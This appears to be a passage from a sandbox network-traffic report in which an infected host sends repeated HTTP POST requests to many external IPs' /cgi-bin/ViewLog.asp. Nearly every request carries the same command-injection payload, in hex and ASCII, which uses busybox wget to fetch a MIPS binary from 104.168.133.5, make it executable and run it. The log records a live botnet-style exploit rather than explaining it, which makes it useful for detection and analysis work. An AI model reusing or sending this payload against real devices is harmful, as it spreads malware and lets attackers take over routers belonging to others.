Nov 23, 2023 05:15:36.372864008 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	58460	31.136.68.211	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:36.509010077 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:37.062628984 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:38.182605982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:40.582611084 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:45.190664053 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:54.150604010 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:13.350720882 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:50.214432001 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	56884	31.136.44.26	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:36.510302067 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:37.062633991 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:38.182610989 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:40.582597017 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:45.190685987 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:54.150587082 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:13.350693941 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:50.214421034 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	50050	94.110.5.139	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:36.517056942 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	60694	62.29.45.49	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:36.602896929 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	41474	94.122.18.209	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:36.735595942 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	33280	85.95.152.99	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:36.825939894 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:37.144588947 CET	308	IN	HTTP/1.0 200 OK Server: httpd/2.0 Date: Thu, 23 Nov 2023 04:16:15 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 3f 65 72 72 6f 72 5f 73 74 61 74 75 73 3d 31 26 70 61 67 65 3d 69 6e 64 65 78 2e 61 73 70 26 6c 6f 63 6b 5f 74 69 6d 65 3d 30 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp?error_status=1&page=index.asp&lock_time=0';</script></HEAD></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	39002	94.120.98.181	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:36.830491066 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	51746	94.126.239.4	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.299185038 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:38.214603901 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:38.387830973 CET	148	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 04:15:38 GMT Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	47798	31.136.43.133	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:37.309561014 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:40.326672077 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:46.470643044 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
